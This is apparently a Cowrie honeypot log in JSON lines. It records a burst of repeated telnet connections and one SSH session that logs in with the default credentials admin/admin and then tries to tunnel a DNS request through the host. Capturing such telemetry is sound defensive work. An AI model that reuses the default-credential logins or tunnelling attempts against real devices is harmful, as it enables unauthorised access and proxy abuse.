{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41338,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4d1a1612a17","protocol":"telnet","message":"New connection: 161.97.181.240:41338 (10.17.0.5:23) [session: d4d1a1612a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:01.932902Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":45540,"dst_ip":"10.17.0.5","dst_port":23,"session":"5833537b60e6","protocol":"telnet","message":"New connection: 103.115.172.252:45540 (10.17.0.5:23) [session: 5833537b60e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:02.751537Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46546,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b7bd94ef96","protocol":"telnet","message":"New connection: 161.97.181.240:46546 (10.17.0.5:23) [session: 07b7bd94ef96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:03.349184Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":49774,"dst_ip":"159.203.135.109","dst_port":23,"session":"625b07e73817","protocol":"telnet","message":"New connection: 45.14.224.154:49774 (159.203.135.109:23) [session: 625b07e73817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:04.630166Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":46242,"dst_ip":"10.17.0.5","dst_port":23,"session":"f028e9977bb5","protocol":"telnet","message":"New connection: 103.115.172.252:46242 (10.17.0.5:23) [session: f028e9977bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:04.766209Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":45184,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcaf55a0d49e","protocol":"telnet","message":"New connection: 103.115.172.252:45184 (10.17.0.5:23) [session: fcaf55a0d49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:04.772752Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52350,"dst_ip":"10.17.0.5","dst_port":23,"session":"1180e75dd546","protocol":"telnet","message":"New connection: 161.97.181.240:52350 (10.17.0.5:23) [session: 1180e75dd546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:04.915994Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52978,"dst_ip":"10.17.0.5","dst_port":23,"session":"db1d2b924e84","protocol":"telnet","message":"New connection: 161.97.181.240:52978 (10.17.0.5:23) [session: db1d2b924e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:05.063385Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53514,"dst_ip":"10.17.0.5","dst_port":23,"session":"79239119b40b","protocol":"telnet","message":"New connection: 161.97.181.240:53514 (10.17.0.5:23) [session: 79239119b40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:05.196576Z"}
{"eventid":"cowrie.session.closed","duration":30.551414966583252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:05.213490Z","src_ip":"161.97.181.240","session":"e23b4df729b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":54018,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed49c36e00aa","protocol":"telnet","message":"New connection: 161.97.181.240:54018 (10.17.0.5:23) [session: ed49c36e00aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:05.317296Z"}
{"eventid":"cowrie.session.closed","duration":30.75340509414673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:06.050668Z","src_ip":"161.97.181.240","session":"e384134c56c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56665,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c335a14eab","protocol":"telnet","message":"New connection: 161.97.181.240:56665 (10.17.0.5:23) [session: 18c335a14eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:06.093741Z"}
{"eventid":"cowrie.session.closed","duration":31.408907175064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:06.326754Z","src_ip":"161.97.181.240","session":"1888d84d5d18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79104709625244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:07.008541Z","src_ip":"161.97.181.240","session":"0904b881ff20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909919500350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:07.062583Z","src_ip":"45.14.224.154","session":"a2652e8efff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"80b473a8bd35","protocol":"telnet","message":"New connection: 161.97.181.240:60764 (10.17.0.5:23) [session: 80b473a8bd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:07.362068Z"}
{"eventid":"cowrie.session.closed","duration":34.46756982803345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:07.517616Z","src_ip":"45.63.42.31","session":"a7d401e87c0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":47700,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f7b7e48f4d","protocol":"telnet","message":"New connection: 103.115.172.252:47700 (10.17.0.5:23) [session: a7f7b7e48f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:08.934602Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38610,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b8e65bd034","protocol":"telnet","message":"New connection: 161.97.181.240:38610 (10.17.0.5:23) [session: d8b8e65bd034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:08.982028Z"}
{"eventid":"cowrie.session.closed","duration":30.54288363456726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:10.081015Z","src_ip":"161.97.181.240","session":"ba8e45a6cb5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44084,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e96155b42b0","protocol":"telnet","message":"New connection: 161.97.181.240:44084 (10.17.0.5:23) [session: 9e96155b42b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:10.492661Z"}
{"eventid":"cowrie.session.closed","duration":34.742859840393066,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:10.637358Z","src_ip":"45.63.42.31","session":"774bdc8cbdcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":49788,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f5d3a78c496","protocol":"telnet","message":"New connection: 45.14.224.154:49788 (159.203.135.109:23) [session: 8f5d3a78c496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:10.936527Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46016,"dst_ip":"10.17.0.5","dst_port":23,"session":"a510696dfbfc","protocol":"telnet","message":"New connection: 161.97.181.240:46016 (10.17.0.5:23) [session: a510696dfbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:11.108005Z"}
{"eventid":"cowrie.session.closed","duration":30.54314923286438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:11.258471Z","src_ip":"161.97.181.240","session":"d961bf9d65fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":51712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dce29bec816","protocol":"telnet","message":"New connection: 45.14.224.154:51712 (159.203.135.109:23) [session: 0dce29bec816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:12.480703Z"}
{"eventid":"cowrie.session.closed","duration":30.887514114379883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:13.011127Z","src_ip":"161.97.181.240","session":"f55bb0a13d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404775142669678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:13.101251Z","src_ip":"161.97.181.240","session":"40454e271226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58017921447754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:13.486843Z","src_ip":"161.97.181.240","session":"655cc0f41398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1278,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc261b43278f","protocol":"ssh","message":"New connection: 87.251.64.176:1278 (10.17.0.5:22) [session: bc261b43278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:13.717959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:13.722775Z","src_ip":"87.251.64.176","session":"bc261b43278f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:13.824572Z","src_ip":"87.251.64.176","session":"bc261b43278f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:14.127872Z","src_ip":"87.251.64.176","session":"bc261b43278f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:14.226927Z","session":"bc261b43278f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:14.324735Z","src_ip":"87.251.64.176","session":"bc261b43278f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57256,"dst_ip":"10.17.0.5","dst_port":23,"session":"532fec7a3359","protocol":"telnet","message":"New connection: 161.97.181.240:57256 (10.17.0.5:23) [session: 532fec7a3359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:14.387866Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:14.424226Z","src_ip":"87.251.64.176","session":"bc261b43278f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.991249561309814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:15.021727Z","src_ip":"161.97.181.240","session":"67f47a5d77d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":58506,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3ebdd3eb78","protocol":"telnet","message":"New connection: 173.198.194.106:58506 (10.17.0.5:23) [session: 3e3ebdd3eb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:15.933928Z"}
{"eventid":"cowrie.session.closed","duration":30.754894733428955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.049401Z","src_ip":"45.14.224.154","session":"d9296a502ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":34828,"dst_ip":"10.17.0.5","dst_port":23,"session":"847b1d1b3dd3","protocol":"telnet","message":"New connection: 161.97.181.240:34828 (10.17.0.5:23) [session: 847b1d1b3dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.127452Z"}
{"eventid":"cowrie.session.closed","duration":30.87246799468994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.375959Z","src_ip":"161.97.181.240","session":"2f61a3c34c98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993064641952515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.455369Z","src_ip":"161.97.181.240","session":"e82e861baee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846405267715454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.515270Z","src_ip":"161.97.181.240","session":"c37d01c34f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36858,"dst_ip":"10.17.0.5","dst_port":23,"session":"77a42fcc3ff4","protocol":"telnet","message":"New connection: 161.97.181.240:36858 (10.17.0.5:23) [session: 77a42fcc3ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.779379Z"}
{"eventid":"cowrie.session.closed","duration":35.76023054122925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.856555Z","src_ip":"45.63.42.31","session":"cdacb6d8c00c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.161359071731567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:16.992676Z","src_ip":"161.97.181.240","session":"377492e06f65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56736,"dst_ip":"10.17.0.5","dst_port":23,"session":"05d278fa8c12","protocol":"telnet","message":"New connection: 45.63.42.31:56736 (10.17.0.5:23) [session: 05d278fa8c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:18.156291Z"}
{"eventid":"cowrie.session.closed","duration":31.162106037139893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:18.174820Z","src_ip":"161.97.181.240","session":"f40ba431644f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd6b50183cf","protocol":"telnet","message":"New connection: 161.97.181.240:43064 (10.17.0.5:23) [session: acd6b50183cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:18.542495Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a2d8b8415d","protocol":"telnet","message":"New connection: 161.97.181.240:43816 (10.17.0.5:23) [session: 66a2d8b8415d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:18.741756Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45530,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d8e3c07a507","protocol":"telnet","message":"New connection: 161.97.181.240:45530 (10.17.0.5:23) [session: 4d8e3c07a507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:19.232824Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":47044,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc2c33e3c5c4","protocol":"telnet","message":"New connection: 161.97.181.240:47044 (10.17.0.5:23) [session: dc2c33e3c5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:19.641314Z"}
{"eventid":"cowrie.session.closed","duration":37.517707109451294,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:19.654989Z","src_ip":"45.63.42.31","session":"11147019358d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":49240,"dst_ip":"10.17.0.5","dst_port":23,"session":"6995c77b77b9","protocol":"telnet","message":"New connection: 161.97.181.240:49240 (10.17.0.5:23) [session: 6995c77b77b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:20.267948Z"}
{"eventid":"cowrie.session.closed","duration":31.20372200012207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:20.533511Z","src_ip":"161.97.181.240","session":"87e8817f59b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52374,"dst_ip":"10.17.0.5","dst_port":23,"session":"356dc64727bd","protocol":"telnet","message":"New connection: 161.97.181.240:52374 (10.17.0.5:23) [session: 356dc64727bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:21.256278Z"}
{"eventid":"cowrie.session.closed","duration":31.201643228530884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:21.408494Z","src_ip":"161.97.181.240","session":"2c990e9533e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57650,"dst_ip":"10.17.0.5","dst_port":23,"session":"895452a1df2b","protocol":"telnet","message":"New connection: 161.97.181.240:57650 (10.17.0.5:23) [session: 895452a1df2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:22.787989Z"}
{"eventid":"cowrie.session.closed","duration":30.72194218635559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:22.992452Z","src_ip":"161.97.181.240","session":"291a916d7c27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":54998,"dst_ip":"10.17.0.5","dst_port":23,"session":"55cbc4bd903d","protocol":"telnet","message":"New connection: 161.97.181.240:54998 (10.17.0.5:23) [session: 55cbc4bd903d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:23.045805Z"}
{"eventid":"cowrie.session.closed","duration":30.831886529922485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:23.076458Z","src_ip":"161.97.181.240","session":"ab0fc716e37a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881221771240234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:24.002453Z","src_ip":"161.97.181.240","session":"11899c72923b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90202307701111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:24.062408Z","src_ip":"45.14.224.154","session":"8862bb06b7f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44842,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7ce7d511016","protocol":"telnet","message":"New connection: 161.97.181.240:44842 (10.17.0.5:23) [session: f7ce7d511016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:27.218591Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46258,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a53c0d110b7","protocol":"telnet","message":"New connection: 161.97.181.240:46258 (10.17.0.5:23) [session: 3a53c0d110b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:27.572538Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"413fc37a99a1","protocol":"telnet","message":"New connection: 161.97.181.240:47372 (10.17.0.5:23) [session: 413fc37a99a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:27.901424Z"}
{"eventid":"cowrie.session.closed","duration":31.78138303756714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:28.966046Z","src_ip":"161.97.181.240","session":"ca749e19f192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702832460403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:29.172514Z","src_ip":"161.97.181.240","session":"dbd8ba482486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52772,"dst_ip":"10.17.0.5","dst_port":23,"session":"b557d03a3325","protocol":"telnet","message":"New connection: 161.97.181.240:52772 (10.17.0.5:23) [session: b557d03a3325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:29.759507Z"}
{"eventid":"cowrie.session.closed","duration":31.015722513198853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:30.224405Z","src_ip":"173.198.194.106","session":"6d2283936f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":34014,"dst_ip":"159.203.135.109","dst_port":23,"session":"ada5a981358b","protocol":"telnet","message":"New connection: 45.14.224.154:34014 (159.203.135.109:23) [session: ada5a981358b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:30.937304Z"}
{"eventid":"cowrie.session.closed","duration":30.893023014068604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:31.002472Z","src_ip":"161.97.181.240","session":"00f7a9269c36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428777933120728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:31.100893Z","src_ip":"161.97.181.240","session":"ee9edbbc1bc9","protocol":"telnet"}
